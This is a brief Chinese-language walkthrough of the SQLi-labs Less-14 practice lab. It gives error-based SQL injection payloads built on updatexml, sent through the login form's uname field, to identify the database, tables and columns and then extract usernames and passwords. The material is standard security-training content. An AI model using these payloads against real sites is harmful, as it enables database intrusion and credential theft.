Sqlilabs Less-14

判断是双引号字符型注入，并且无回显，用报错注入：

uname=admin"#&passwd=&submit=Submit

判断列数：

uname=admin"+order+by+2#&passwd=&submit=Submit

爆库：

uname=-admin"+and+updatexml(1,concat(0x5c,(select+database())),1)#&passwd=&submit=Submit

爆表：

uname=admin"+and+updatexml(1,concat(0x5c,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1)#&passwd=&submit=Submit

爆列：

uname=admin"+and+updatexml(1,concat(0x5c,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='users')),1)#&passwd=&submit=Submit

爆数据：

uname=admin"+and+updatexml(1,concat(0x5c,(select+group_concat(username,password)+from+users)),1)#&passwd=&submit=Submit